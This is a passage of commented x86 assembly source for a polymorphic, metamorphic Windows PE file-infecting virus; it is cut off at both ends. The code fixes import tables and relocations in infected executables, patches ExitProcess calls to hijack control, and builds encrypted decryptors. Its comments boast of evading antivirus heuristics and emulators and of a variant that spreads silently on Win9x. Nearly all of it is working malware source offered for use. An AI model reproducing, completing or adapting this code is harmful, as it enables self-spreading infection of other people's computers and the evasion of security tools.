@@UpdateArray_Updated01 @@UpdateArrayLoop_01: cmp [eax], edi ; Now check every RVA and fix it jb @@UpdateArray_Updated01 ; if it points after the hole add [eax], ecx @@UpdateArray_Updated01: add eax, 4 dec edx or edx, edx jnz @@UpdateArrayLoop_01 @@UpdateArray_OK: ret UpdateArrayOfRVAs endp ;; This function gets the RVA at EBX and looks the section where the RVA ;; points whithin. When we find it, then we add the physical address of the ;; section and the physical address of the mapping, returning the physical ;; address that corresponds to that virtual one. ;; ;; EBX = Virtual address TranslateVirtualToPhysical proc push ecx or ebx, ebx jz @@Error mov ecx, [ebp+HeaderAddress] mov ecx, [ecx+6] and ecx, 0FFFFh ; Get the number of sections push edx mov edx, [ebp+StartOfSectionHeaders] push eax @@LoopSection: mov eax, [edx+0Ch] ; Virtual address of section cmp ebx, eax ; If it's below, it isn't here jb @@NextSection add eax, [edx+10h] ; Add the size of the section to the ; virtual address of it to get the end ; address of the section cmp ebx, eax ; If <EBX> is above, it isn't here jae @@NextSection sub ebx, [edx+0Ch] ; Get the offset inside the section add ebx, [edx+14h] ; Add that offset to the physical addr. pop eax ; of the section. pop edx add ebx, [ebp+MappingAddress] ; Add the mapping address. pop ecx ret ; Return with OK @@NextSection: add edx, 28h ; Check next section dec ecx or ecx, ecx jnz @@LoopSection pop eax pop edx @@Error: xor ebx, ebx ; If the RVA isn't inside any section, pop ecx ; return 0. ret TranslateVirtualToPhysical endp ;; This function updates the RVAs of the resource tree. UpdateResourceDir proc @@UpdateResourceDir2: push eax mov eax, [eax+4] ; If 0, update the data (terminal and eax, 80000000h ; node) or eax, eax jz @@UpdateData pop eax push eax mov eax, [eax+4] ; Get the branch address and eax, 7FFFFFFFh add eax, ebx push edx push eax mov edx, [eax+0Ch] ; Get the number of branches that and edx, 0FFFFh ; hold from this parent mov eax, [eax+0Eh] and eax, 0FFFFh add edx, eax pop eax add eax, 10h ; Update the branch recursively call @@UpdateResourceDir2 pop edx jmp @@NextDir ; Check next branch @@UpdateData: pop eax ; Get the data address push eax mov eax, [eax+4] add eax, ebx mov eax, [eax] ; Get the RVA to the element in EAX cmp eax, edi ; If it's above the hole address, fix it jb @@UpdateOK pop eax push eax mov eax, [eax+4] ; Get the RVA to the element add eax, ebx ; Add it to the undo buffer push ebx mov ebx, eax call AddUndoAction pop ebx add [eax], ecx ; Fix the RVA @@UpdateOK: @@NextDir: pop eax add eax, 8 ; Get the next directory dec edx ; If there aren't more elements, return or edx, edx ; (recursive call, so go to next branch jnz @@UpdateResourceDir2 ; or return completely) ret UpdateResourceDir endp ;; This function adds an "undo" action to the undo buffer. If there is an ;; error in the process of updating the headers, when closing the file we ;; get this data and restore the old values. AddUndoAction proc push edx mov edx, [ebp+MakingFirstHole] ; Only make undo actions or edx, edx ; when making the first hole. If jz @@Return ; we make a second, we can't fail ; of doing it, since all checks ; where passed on the making of ; the first one. push eax mov edx, [ebp+NumberOfUndoActions] ; Get the counter add edx, [ebp+OtherBuffers] ; Get the last element address mov [edx], ebx ; + 1 and store the offset of mov eax, [ebx] ; the value to undo and the mov [edx+4], eax ; data that address holds. add edx, 8 sub edx, [ebp+OtherBuffers] ; Increase the number of undo mov [ebp+NumberOfUndoActions], edx ; actions and exit. pop eax @@Return: pop edx ret AddUndoAction endp ;; This function gets the undo buffer and restores the data we saved. We must ;; do this because there isn't a way of telling the Kernel32 to discard the ;; changes made to the mapping, so we have to make it manually. UndoChanges proc mov edx, [ebp+NumberOfUndoActions] ; Get the counter of or edx, edx ; undo actions. If 0, exit. jz @@Ret mov ecx, edx sub edx, 8 add edx, [ebp+OtherBuffers] @@Loop01: mov ebx, [edx] ; Get the address of the DWORD to restore mov eax, [edx+4] ; Get the value to put for restoration mov [ebx], eax ; Restore it sub edx, 8 sub ecx, 8 ; Next element or ecx, ecx ; If we haven't restored all, loop jnz @@Loop01 @@Ret: ret UndoChanges endp ;; This function updates the import table, and returns the addresses of the ;; APIs the virus needs on execution. ;; Entries: ;; EDI = Virtual address of hole ;; ECX = Size of hole ;; If we use EDI = 0FFFFFFFFh as the address of the hole, nothing is updated ;; (it's logical, since all the RVAs are below this value), but the virtual ;; function addresses that we must use from the import table are retrieved. ;; ;; As an error control, we use the addresses of the functions that we expect ;; to be retrieved here. If any of these functions (ExitProcess, GetProcAddress ;; and GetModuleHandleA/W) are 0, then an error happened or any of them isn't ;; imported. UpdateImports proc push esi mov eax, [ebp+HeaderAddress] ; Get the import header addr. mov ebx, [eax+80h] or ebx, ebx jz @@ImportsUpdated call TranslateVirtualToPhysical ; Get the physical address. or ebx, ebx ; If error, exit jz @@ImportsUpdated @@UpdateImports_Loop00: mov eax, [ebx+0Ch] ; Get the RVA of the module name. or eax, eax ; If no name, error! jz @@ImportsUpdated cmp eax, edi ; Fix it jb @@UpdateImportsOK_01 add ebx, 0Ch call AddUndoAction add [ebx], ecx ; [EBX+0Ch] sub ebx, 0Ch @@UpdateImportsOK_01: push ebx ; Initialize this flag xor ebx, ebx mov [ebp+Kernel32Imports], ebx mov ebx, eax call TranslateVirtualToPhysical ; Get the physical address or ebx, ebx ; of the module name jz @@UpdateImports_Next00 mov eax, [ebx] ; Check if it's KERNEL32 and eax, 1F1F1F1Fh cmp eax, 'nrek' AND 1F1F1F1Fh jnz @@UpdateImports_Next00 mov eax, [ebx+4] and eax, 0FFFF1F1Fh cmp eax, '23le' AND 0FFFF1F1Fh jnz @@UpdateImports_Next00 mov eax, 1 ; If it is, set the flag mov [ebp+Kernel32Imports], eax @@UpdateImports_Next00: pop ebx mov eax, [ebx] ; Get the RVA to the function names or eax, eax jz @@UpdateImportsOK_04 push ebx ; Get the physical address of the mov ebx, eax ; array call TranslateVirtualToPhysical mov eax, ebx pop ebx or eax, eax jz @@UpdateImportsOK_04 @@UpdateImports_Loop01: mov edx, [eax] ; Get an RVA from the array or edx, edx jz @@UpdateImportsOK_02 cmp edx, 80000000h ; Ordinal? jae @@UpdateImports_UpdatedOK ; Then, don't update mov esi, [ebp+Kernel32Imports] ; KERNEL32 module? or esi, esi ; If not, don't check the jz @@UpdateImports_NotKernel32 ; name push ebx mov ebx, edx call TranslateVirtualToPhysical ; Get the physical address or ebx, ebx ; of the function name jz @@UpdateImports_UnknownFunction mov esi, [ebx+2] cmp esi, 'tixE' ; Check for ExitProcess jz @@UpdateImports_ExitProcess00 cmp esi, 'MteG' ; Check for GetModuleHandle jz @@UpdateImports_GetModuleHandle00 cmp esi, 'PteG' ; Check for GetProcAddress jz @@UpdateImports_GetProcAddress00 cmp esi, 'triV' ; Check for VirtualAlloc jnz @@UpdateImports_UnknownFunction @@UpdateImports_VirtualAlloc: mov esi, [ebx+0Bh] cmp esi, 'loc' jnz @@UpdateImports_UnknownFunction xor esi, esi ; VirtualAlloc ID jmp @@UpdateImports_SaveFunctionAddress @@UpdateImports_GetProcAddress00: mov esi, [ebx+6] cmp esi, 'Acor' jnz @@UpdateImports_UnknownFunction mov esi, 1 ; GetProcAddress ID jmp @@UpdateImports_SaveFunctionAddress @@UpdateImports_ExitProcess00: mov esi, [ebx+6] cmp esi, 'corP' jnz @@UpdateImports_UnknownFunction mov esi, 2 ; ExitProcess ID jmp @@UpdateImports_SaveFunctionAddress @@UpdateImports_GetModuleHandle00: mov esi, [ebx+0Ah] cmp esi, 'naHe' jnz @@UpdateImports_UnknownFunction mov esi, [ebx+0Eh] cmp esi, 'Aeld' ; Check for GetModuleHandleA jz @@UpdateImports_GetModuleHandleAFound cmp esi, 'Weld' ; Check for GetModuleHandleW jnz @@UpdateImports_UnknownFunction mov esi, 1 jmp @@UpdateImports_GetModuleHandleFound @@UpdateImports_GetModuleHandleAFound: xor esi, esi @@UpdateImports_GetModuleHandleFound: mov [ebp+GetModuleHandleMode], esi ; Set the mode: A or W mov esi, 3 ; GetModuleHandle ID @@UpdateImports_SaveFunctionAddress: pop ebx ; EBX = Imports header ; EAX = Physical address of position in names array push ebx push eax push ebx mov ebx, [ebx] ; Fix the RVA into the array call TranslateVirtualToPhysical sub eax, ebx ; Position in array pop ebx add eax, [ebx+10h] cmp eax, edi ; If EDI == -1, this is not fixed jb @@UpdateImports_SetFunctionAddress add eax, ecx @@UpdateImports_SetFunctionAddress: or esi, esi ; Set the function address jz @@UpdateImports_SetVirtualAlloc cmp esi, 1 jz @@UpdateImports_SetGetProcAddress cmp esi, 2 jz @@UpdateImports_SetExitProcess @@UpdateImports_SetGetModuleHandle: mov [ebp+GetModuleHandleAddress], eax jmp @@UpdateImports_FunctionSet @@UpdateImports_SetVirtualAlloc: mov [ebp+VirtualAllocAddress], eax jmp @@UpdateImports_FunctionSet @@UpdateImports_SetGetProcAddress: mov [ebp+GetProcAddressAddress], eax jmp @@UpdateImports_FunctionSet @@UpdateImports_SetExitProcess: mov [ebp+ExitProcessAddress], eax @@UpdateImports_FunctionSet: pop eax @@UpdateImports_UnknownFunction: @@UpdateImports_Continue00: pop ebx @@UpdateImports_NotKernel32: cmp edx, edi jb @@UpdateImports_UpdatedOK push ebx mov ebx, eax call AddUndoAction ; Add the undo action for this pop ebx ; address add [eax], ecx @@UpdateImports_UpdatedOK: add eax, 4 ; Next array entry jmp @@UpdateImports_Loop01 @@UpdateImportsOK_02: mov eax, [ebx] ; Fix the array RVA itself cmp eax, edi jb @@UpdateImportsOK_03 call AddUndoAction add [ebx], ecx @@UpdateImportsOK_03: add ebx, 10h ; Fix the RVA to the array of imported mov eax, [ebx] ; functions. It holds the imported cmp eax, edi ; addresses of the functions in run-time jb @@UpdateImportsOK_04_ ; (but see below for a "cool" ; feature) call AddUndoAction ; Add the undo action for this. add eax, ecx mov [ebx], eax sub eax, ecx @@UpdateImportsOK_04_: sub ebx, 10h @@UpdateImportsOK_04: ;; Big-time duddy-dudde chili-chap Micro$oft paranoical "optimization" ;; What are that thunks at +10h in import header? Just guess!! ;; I was amazed why the infected programs worked under WinNT but NOT under ;; win9x (just the opposite of what it happens normally). So, I supposed that ;; the values at this thunk were always updated with the kernel exported ;; addresses, so, just in case, it didn't matter if I updated also these ;; addresses. FALSE!! (now imagine lots of red lights and alarms). By any ;; dark reason, the win32 subsystem doesn't update that addresses if the ;; executable runs under the operating system where it was compiled or ;; was compiled for!! Windows NT updates this addresses ALWAYS, but not ;; Win9x, which uses the hardcoded API addresses that are already at the ;; executable (!!!!!!!!!!!!!!). So, if we don't touch this, all is fine. ;; ;; Idea: we can make EPO if we save this values and set our own ones. It will ;; only work under Win9x, something that it's fine if we are making a ring-0 ;; virus. ; push ebx ; mov ebx, eax ; call TranslateVirtualToPhysical ; or ebx, ebx ; jz @@NextRecord ; @@LoopUpdateThunks: ; mov eax, [ebx] ; or eax, eax ; jz @@NextRecord ; cmp eax, edi ; jb @@ThunkUpdated ; call AddUndoAction ; add eax, ecx ; mov [ebx], eax ; @@ThunkUpdated: ; add ebx, 4 ; jmp @@LoopUpdateThunks ; @@NextRecord: ; pop ebx add ebx, 14h ; Get next import header jmp @@UpdateImports_Loop00 @@ImportsUpdated: pop esi ret UpdateImports endp ;; Let's patch ExitProcess with several methods. The size of the patch must ;; be less than 6 bytes. ;; An alternate way has been added, which only works for Win9x: the Import ;; table is patched but not the call, so under Win9x, if the system coincides ;; with the version expressed in the header, the call will be made. This makes ;; a virus that is dormant under WinNT but spreads on Win9x. ;; ESI = Address to patch ;; EDX = Address to point to PatchExitProcess proc push eax mov eax, 1 call RandomBoolean_X004_7 ; WEIGHT_X005 or eax, eax jz @@PUSHRET @@IndirectDisplacement: ; Let's make "JMP/PUSH [Address]" push ecx mov eax, [ebp+TextHeader] ; Get the code section address mov ecx, [eax+10h] ; Get the size in ECX mov eax, [eax+14h] add eax, [ebp+MappingAddress] push edx sub ecx, 4 @@LoopFindHole: sub ecx, 1 or ecx, ecx jz @@NotFound ; Search for a hole of the type mov edx, [eax] ; "INT 3 padded" of at least DWORD cmp edx, 0CCCCCCCCh ; sized jz @@HoleFound add eax, 1 jmp @@LoopFindHole @@NotFound: pop edx ; If we didn't find anything, make the pop ecx ; other method jmp @@PUSHRET @@HoleFound: pop edx ; Put the address to jump at the hole, mov [eax], edx ; overwriting the padding. mov ecx, [esi+4] and ecx, 0FFh ; Now look the way ExitProcess is made. cmp ecx, 0C3h ; Is there a RET after it? (the compilers ; put them) jz @@RetInserted ; If it is, put "PUSH DWORD PTR [ExitP]" sub eax, [ebp+MappingAddress] mov ecx, [ebp+TextHeader] sub eax, [ecx+14h] ; Get the address of the hole add eax, [ecx+0Ch] mov ecx, [ebp+HeaderAddress] add eax, [ecx+34h] mov [esi], eax ; Overwrite the call with the mov eax, 25h ; hole address, and set "JMP" mov [esi-1], al ; instruction. pop ecx jmp @@Return @@RetInserted: mov eax, 35h ; Set "PUSH DWORD PTR [ExitProcess]" mov [esi-1], al ; and use the RET before to jump. pop ecx jmp @@Return @@PUSHRET: ; Make "PUSH Address/RET" mov eax, 68h mov [esi-2], eax mov [esi-1], edx mov eax, 0C3h mov [esi+3], al @@Return: pop eax ret PatchExitProcess endp ;; ;; ;; End of the infector ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; KEYWORD: Key_!MakePoly ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ********************************************************************** ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; The polymorphic engine ;; ---------------------- ;; ;; This is not a polymorphic engine like I made in other viruses, since I ;; don't code by myself any machine code: I let the metamorphic engine to ;; do it, calling XpandCode and AssembleCode to build the instructions. So, ;; the decryptor is always constructed in my pseudoassembler. ;; ;; The decryptor is sometimes only a "mover": since the virus can be not ;; encrypted once in every 16 times, in fact only copies the data to the ;; reserved memory. This avoids lots of heuristic alarms. ;; ;; "Branching", as I did in TUAREG, is not made, but PRIDE is. The decryption ;; will be non-linear, with a control of buffer-overflow that allows me to ;; have a not-aligned buffer size, but still making random index accessing. ;; ;; The decryptor will allocate virtual memory at the beginning to copy the ;; virus there, calling to the imported function. If the function is not ;; imported by the host, some code will be added to import it and call it. ;; After that, We'll push the parameters needed for the virus working and we ;; will copy the virus to the allocated memory, decrypting it on the fly and ;; accessing that data with apparentlu random offsets. ;; ;; It has also the chance of making a little anti-emulator trick at the ;; beginning: once in every 4 decryptors, a RDTSC/RET like instruction will ;; be constructed on runtime, called, and a random bit from EAX checked for ;; 0 or 1, ending execution if the condition is met. This makes the virus to ;; execute randomly, and forcing a detection by signature or heuristics. ;; MakeDecryptor proc ; We need: ; The instruction table stored at [InstructionTable] ; A buffer to assemble the decryptor at [NewAssembledCode] ; The number of jump labels at [NumberOfLabels] ; A table of labels at [LabelTable], with the instruction address at +4 ; The address of the last instruction at [AddressOfLastInstruction] mov [ebp+InstructionTable], edi ; Set the pointer xor eax, eax mov [ebp+NumberOfLabels], eax ; Initialize these vars. mov [ebp+NumberOfVariables], eax mov eax, edi add eax, 80000h mov [ebp+ExpansionResult], eax mov eax, [ebp+RVA_DataHole] ; Get the virtual address mov ecx, [ebp+HeaderAddress] ; of the data hole. add eax, [ecx+34h] mov [ebp+StartOfEncryptedData], eax mov edx, [ebp+RelocHeader] ; Check if we have a .reloc or edx, edx ; header. jnz @@SetDataAtEndOfCryptedCode mov ecx, [ebp+DataHeader] ; If we haven't a .reloc, mov edx, [ebp+HeaderAddress] ; we put the data buffer call Random ; address at the .data and eax, 0FCh ; section with a random add eax, [ecx+0Ch] ; displacement start offset add eax, [edx+34h] ; to avoid fixed addresses. jmp @@SetDecryptorDataSection ; Since all in the app has ; finished (we arrived here with an ExitProcess ; patch) we can overwrite .data as we want. @@SetDataAtEndOfCryptedCode: add eax, [ebp+SizeOfNewCode] ; Get the size of the new and eax, 0FFFFFFFCh ; assembled code and set the add eax, 4 ; decryptor's data frame at @@SetDecryptorDataSection: ; the end of the encrypted mov [ebp+Decryptor_DATA_SECTION], eax ; part. mov eax, 1 ; Set this flag for the mov [ebp+CreatingADecryptor], eax ; expander. call Poly_MakeRandomExecution ; Create a random-execution ; snippet to fuck emulators ; a little ;) mov eax, [ebp+VirtualAllocAddress] or eax, eax ; Does the app import VirtualAlloc? jnz @@VirtualAllocAlreadyImported ; If it does, jump and ; continue ;; Here we are going to create a code that imports VirtualAlloc using the ;; functions GetModuleHandleA/W and GetProcAddress. mov eax, [ebp+GetModuleHandleMode] or eax, eax ; Check if GetModuleHandle jnz @@GetModuleHandleUNICODE ; is ASCII or UNICODE @@GetModuleHandleASCII: call Random and eax, 20202020h ; Set 'KERN' with random add eax, 'NREK' ; up/downcase mov [ebp+Poly_FirstPartOfFunction], eax call Random and eax, 00002020h add eax, '23LE' ; Set 'EL32' with random mov [ebp+Poly_SecondPartOfFunction], eax ; up/downcase mov eax, 2 call RandomBoolean_X004_7 ; WEIGHT_X006 or eax, eax jz @@DontSetExtension0 ; Select randomly if we put call Random ; the extension or not. If and eax, 20202000h ; we don't, GetModuleHandle add eax, 'LLD.' ; puts ".DLL" for us @@DontSetExtension0: mov [ebp+Poly_ThirdPartOfFunction], eax xor eax, eax mov [ebp+AdditionToBuffer], eax ; Set it at the first part ; of the data buffer call Poly_SetFunctionName ; Make the "make name" code jmp @@NameOfModuleInitialized ; Jump to call GetMod.H.() @@GetModuleHandleUNICODE: ; UNICODE call Random and eax, 00200020h ; Set 'KE' (random upcase) add eax, 0045004Bh ; 'EK' mov [ebp+Poly_FirstPartOfFunction], eax call Random and eax, 00200020h add eax, 004E0052h ; 'NR' ; Set 'RN' mov [ebp+Poly_SecondPartOfFunction], eax call Random and eax, 00200020h add eax, 004C0045h ; 'LE' ; Set 'EL' mov [ebp+Poly_ThirdPartOfFunction], eax xor eax, eax mov [ebp+AdditionToBuffer], eax call Poly_SetFunctionName ; Make the name mov eax, 00320033h ; '23' ; Set '32' mov [ebp+Poly_FirstPartOfFunction], eax mov eax, 2 call RandomBoolean_X004_7 ; WEIGHT_X006 or eax, eax jz @@DontSetExtension1 ; Set (or not) the extension call Random ; ".DLL" and eax, 00200000h add eax, 0044002Eh ; 'D.' @@DontSetExtension1: mov [ebp+Poly_SecondPartOfFunction], eax or eax, eax jz @@DontSetExtension2 call Random and eax, 00200020h add eax, 004C004Ch ; 'LL' @@DontSetExtension2: mov [ebp+Poly_ThirdPartOfFunction], eax mov eax, 0Ch mov [ebp+AdditionToBuffer], eax call Poly_SetFunctionName ; Make that part of the name @@NameOfModuleInitialized: call Poly_SelectThreeRegisters ; Make a "Call mov edx, [ebp+Decryptor_DATA_SECTION] ; GetModuleHandle" mov ecx, [ebp+BufferRegister] call Poly_DoMOVRegValue mov ecx, [ebp+BufferRegister] call Poly_DoPUSHReg ; Push the module name mov ecx, [ebp+GetModuleHandleAddress] call Poly_DoCALLMem ; Call the function mov eax, 0F6h ; Make an APICALL_STORE [Data+10h] mov [edi], eax mov eax, 0808h mov [edi+1], eax mov eax, [ebp+Decryptor_DATA_SECTION] add eax, 10h mov [edi+3], eax add edi, 10h mov eax, 'triV' ; Now make the name of the function to mov [ebp+Poly_FirstPartOfFunction], eax ; get the address, mov eax, 'Alau' ; in this case mov [ebp+Poly_SecondPartOfFunction], eax ; VirtualAlloc() mov eax, 'coll' mov [ebp+Poly_ThirdPartOfFunction], eax xor eax, eax mov [ebp+AdditionToBuffer], eax call Poly_SetFunctionName ; Set the function name call Poly_SelectThreeRegisters mov edx, [ebp+Decryptor_DATA_SECTION] mov ecx, [ebp+BufferRegister] call Poly_DoMOVRegValue mov ecx, [ebp+BufferRegister] ; Make the PUSH of the call Poly_DoPUSHReg ; offset to the name call Poly_SelectThreeRegisters ; Make the PUSH of the mov ecx, [ebp+IndexRegister] ; module handle mov ebx, 10h call Poly_DoMOVRegMem mov ecx, [ebp+IndexRegister] call Poly_DoPUSHReg mov ecx, [ebp+GetProcAddressAddress] call Poly_DoCALLMem ; Call to GetProcAddress() mov eax, 0F6h ; Insert an APICALL_STORE [Data] mov [edi], eax mov eax, 0808h mov [edi+1], eax mov eax, [ebp+Decryptor_DATA_SECTION] add eax, 10h mov [edi+3], eax add edi, 10h ; Set the function address. We don't mov [ebp+VirtualAllocAddress], eax ; check if it's OK ; because we know it's ; OK. @@VirtualAllocAlreadyImported: mov eax, 8 ; Initialize the registers mov [ebp+BufferRegister], eax ; used by the decryptor mov [ebp+CounterRegister], eax mov [ebp+IndexRegister], eax mov edx, 4 ; Push the values for allocating call Poly_DoPUSHValue ; memory: PAGE_READWRITE and mov edx, 1000h ; MEM_COMMIT call Poly_DoPUSHValue call Random and eax, 01F000h ; Allocate 3407872 bytes plus mov edx, 340000h ; a random up to 128 Kb. add edx, eax call Poly_DoPUSHValue ; Push the value xor edx, edx ; Push 0 (reserve where the call Poly_DoPUSHValue ; system wants) mov ecx, [ebp+VirtualAllocAddress] call Poly_DoCALLMem ; Call to VirtualAlloc mov eax, 0F6h ; APICALL_STORE [Data] mov [edi], eax mov eax, 0808h mov [edi+1], eax mov eax, [ebp+Decryptor_DATA_SECTION] mov [edi+3], eax add edi, 10h ; Get three new registers call Poly_SelectThreeRegisters mov ecx, [ebp+IndexRegister] xor ebx, ebx ; Get the returned value in a call Poly_DoMOVRegMem ; register mov ecx, [ebp+IndexRegister] call Poly_MakeCheckWith0 ; Make a check with NULL to know ; if the function worked mov eax, 74h ; JZ -> if VirtualAlloc returned mov [edi], eax ; NULL, jump to ExitProcess mov [ebp+Poly_Jump_ErrorInVirtualAlloc], edi ; Save the add edi, 10h ; offset for later completion mov ecx, [ebp+IndexRegister] mov edx, [ebp+New_CODE_SECTION] call Poly_DoADDRegValue ; Add the offset of CODE_SECTION mov ecx, [ebp+IndexRegister] mov ebx, 10h ; Save it at +10h in decryptor's call Poly_DoMOVMemReg ; data frame ; Now we push parameters for the virus. We pass all the new section ; addresses, the flag of GetModuleHandle usage (ASCII or UNICODE) and ; the Delta Register the virus is using. We also push the addresses of ; the functions GetModuleHandle and GetProcAddress, so the virus hasn't ; to scan the KERNEL32 to get the values of the functions, breaking ; another heuristic alarm. The values of the passed functions have the ; upper bits of the sections with a random value, since in the ; entrypoint our code will anulate that bits (this is only to make the ; passing of values more random). call Random and eax, 0FC000000h mov edx, [ebp+New_DISASM2_SECTION] add edx, eax call Poly_DoPUSHValue ; Push DISASM2_SECTION address call Random and eax, 0FC000000h mov edx, [ebp+New_DATA_SECTION] add edx, eax call Poly_DoPUSHValue ; Push the DATA_SECTION address call Random and eax, 0FC000000h mov edx, [ebp+New_BUFFERS_SECTION] add edx, eax call Poly_DoPUSHValue ; Push the BUFFERS_SECTION address call Random and eax, 0FC000000h mov edx, [ebp+New_DISASM_SECTION] add edx, eax call Poly_DoPUSHValue ; Push the DISASM2_SECTION address call Random and eax, 0FC000000h mov edx, [ebp+New_CODE_SECTION] add edx, eax call Poly_DoPUSHValue ; Push the CODE_SECTION address mov edx, [ebp+GetProcAddressAddress] call Poly_DoPUSHValue ; Push the address of GetProcAddress mov edx, [ebp+GetModuleHandleAddress] call Poly_DoPUSHValue ; Push the address of GetModuleHandle mov edx, [ebp+TranslatedDeltaRegister] shl edx, 1 mov eax, [ebp+GetModuleHandleMode] add edx, eax call Poly_DoPUSHValue ; Push the delta register *2 and ; the A/W flag in the bit 0. call Random ; Get the first PRIDE value mov ebx, [ebp+SizeOfNewCodeP2] sub ebx, 4 and eax, ebx mov [ebp+Poly_InitialValue], eax mov [ebp+CounterValue], eax call Random ; Get the second PRIDE value sub ebx, 4 and eax, ebx mov [ebp+Poly_Addition], eax call Random ; Get the initial random index mov ebx, [ebp+SizeOfNewCodeP2] sub ebx, 4 and eax, ebx mov [ebp+IndexValue], eax call Random ; Set this register to a random mov [ebp+BufferValue], eax ; value call Poly_SelectThreeRegisters ; Select three registers to ; use as Index, Counter and Buffer call Poly_SetValueToRegisters ; Set the values obtained before call Poly_InsertLabel ; Set the label for looping mov [ebp+Poly_LoopLabel], eax mov ecx, [ebp+IndexRegister] call Poly_DoPUSHReg ; Save the register mov ecx, [ebp+IndexRegister] mov edx, [ebp+CounterRegister] call Poly_DoXORRegReg ; XOR Index with Counter (get ; a pseudo-random index for decrypt) mov eax, 38h ; Check if we overpass the data size mov [edi], eax mov eax, [ebp+IndexRegister] mov [edi+1], eax mov eax, [ebp+SizeOfNewCode] and eax, 0FFFFFFFCh add eax, 4 mov [edi+7], eax add edi, 10h mov eax, 73h ; If we overpass it, go to get the mov [edi], eax ; next pseudorandom index mov [ebp+Poly_ExcessJumpInstruction], edi add edi, 10h ; Save this address for later mov eax, 42h mov [edi], eax ; Get the DWORD at that index mov eax, [ebp+IndexRegister] add eax, 0800h mov [edi+1], eax mov eax, [ebp+StartOfEncryptedData] mov [edi+3], eax mov eax, [ebp+BufferRegister] mov [edi+7], eax add edi, 10h mov eax, 3 ; WEIGHT_X007 call RandomBoolean_X004_7 ; Select if we encrypt or not ; genetically. ; If we don't encrypt, we only or eax, eax ; copy directly the DWORD to jz @@NoEncryption ; Memory call Random ; Get a random Key @@NoEncryption: mov [ebp+EncryptionKey], eax mov ecx, eax ; Set the decryption key in ECX or ecx, ecx ; 0? (i.e. don't encrypt data) jz @@DontMakeDecryption ;@@OtherMethod: ; WEIGHT_X008,WEIGHT_X009 xor eax, eax call RandomBoolean_X008_11 ; Select an encryption method: or eax, eax ; ADD, XOR or SUB. We select jz @@MethodXOR_prev ; them with the genetic weights. mov eax, 1 call RandomBoolean_X008_11 jmp @@SetMethod @@MethodXOR_prev: mov eax, 2 @@SetMethod: mov [ebp+TypeOfEncryption], eax ; Set the type mov ecx, [ebp+EncryptionKey] ; Get the encryption key or eax, eax jz @@MethodADD ; ADD? cmp eax, 1 jz @@MethodSUB ; SUB? @@MethodXOR: mov eax, 30h ; Construct XOR jmp @@MakeDecryption @@MethodADD: neg ecx ; Negate the key for ADD @@MethodSUB: xor eax, eax ; Construct ADD with the key @@MakeDecryption: ; negated if we make ADD or not ; if we make SUB mov [edi], eax mov eax, [ebp+BufferRegister] mov [edi+1], eax ; Complete the decryption instrc. mov [edi+7], ecx add edi, 10h @@DontMakeDecryption: mov eax, 02h ; Add the address of the allocated mov [edi], eax ; memory (with CODE_SECTION added mov eax, 0808h ; too). mov [edi+1], eax mov eax, [ebp+Decryptor_DATA_SECTION] add eax, 10h mov [edi+3], eax mov eax, [ebp+IndexRegister] ; Complete the instruction mov [edi+7], eax add edi, 10h mov eax, 43h ; Make a MOV of the value to the mov [edi], eax ; place on the allocated memory mov eax, [ebp+IndexRegister] ; where it has to be add eax, 0800h mov [edi+1], eax ; mov eax, [ebp+New_CODE_SECTION] xor eax, eax mov [edi+3], eax mov eax, [ebp+BufferRegister] mov [edi+7], eax add edi, 10h call Poly_InsertLabel ; Set the label where we jump mov ebx, [ebp+Poly_ExcessJumpInstruction] ; when the mov [ebx+1], eax ; index exceeds the data size ; and complete the JAE from ; before that must jump here. mov ecx, [ebp+IndexRegister] call Poly_DoPOPReg ; Make POP of the original index call RandomBoolean ; Let's make a random shuffle of the or eax, eax ; functions that modify the index, jz @@AddIndexFirst ; mask the index, increase the @@AddCounterFirst: ; counter and mask the counter. The call Poly_ModifyCounter ; order for modify/mask must not @@C_SelectAnotherSequence: ; vary, but we can interleave that call Random ; functions with the others, so and eax, 3 ; that's what we do here. or eax, eax ; We first select to do IncCounter jz @@C_SelectAnotherSequence ; or AddIndex, and then we ; select randomly the position push eax ; of MaskCounter or MaskIndex cmp eax, 1 ; while we are coding the jnz @@AddCounterFirst_Next00 ; other two functions. call Poly_MaskCounter @@AddCounterFirst_Next00: call Poly_ModifyIndex pop eax push eax cmp eax, 2 jnz @@AddCounterFirst_Next01 call Poly_MaskCounter @@AddCounterFirst_Next01: call Poly_MaskIndex pop eax cmp eax, 3 jnz @@AddCounterFirst_Next02 call Poly_MaskCounter @@AddCounterFirst_Next02: jmp @@ModificationMade @@AddIndexFirst: ; This makes AddIndex first, and call Poly_ModifyIndex ; then inserts in a random position @@I_SelectAnotherSequence: ; the MaskIndex function while call Random ; coding the ModifyCounter and the and eax, 3 ; MaskCounter or eax, eax jz @@I_SelectAnotherSequence push eax cmp eax, 1 jnz @@AddIndexFirst_Next00 call Poly_MaskIndex @@AddIndexFirst_Next00: call Poly_ModifyCounter pop eax push eax cmp eax, 2 jnz @@AddIndexFirst_Next01 call Poly_MaskIndex @@AddIndexFirst_Next01: call Poly_MaskCounter pop eax cmp eax, 3 jnz @@AddIndexFirst_Next02 call Poly_MaskIndex @@AddIndexFirst_Next02: ;; We arrive here with all modifications made and the current DWORD copied ;; and decrypted (or maybe not decrypted and left as is). @@ModificationMade: mov eax, 38h ; Make a comparision of the counter mov [edi], eax ; with the first value that it had. mov eax, [ebp+CounterRegister] ; If it's the same, we mov [edi+1], eax ; have finished the mov eax, [ebp+Poly_InitialValue] ; decryption. mov [edi+7], eax add edi, 10h mov eax, 75h ; Make the JNZ to the loop label mov [edi], eax mov eax, [ebp+Poly_LoopLabel] mov [edi+1], eax add edi, 10h ;;;;;;; ; Now get the address where the virus mov eax, 8 ; is copied/decrypted and CALL there mov [ebp+CounterRegister], eax mov [ebp+BufferRegister], eax mov ecx, [ebp+DeltaRegister] mov [ebp+IndexRegister], ecx xor ebx, ebx call Poly_DoMOVRegMem ; Get the DeltaRegister value mov ecx, [ebp+Decryptor_DATA_SECTION] add ecx, 10h call Poly_DoCALLMem ; Call the virus call Poly_InsertLabel ; Insert this label and complete ; the jump here (when there was an ; error allocating virtual memory) mov edx, [ebp+Poly_Jump_ErrorInVirtualAlloc] mov [edx+1], eax mov edx, 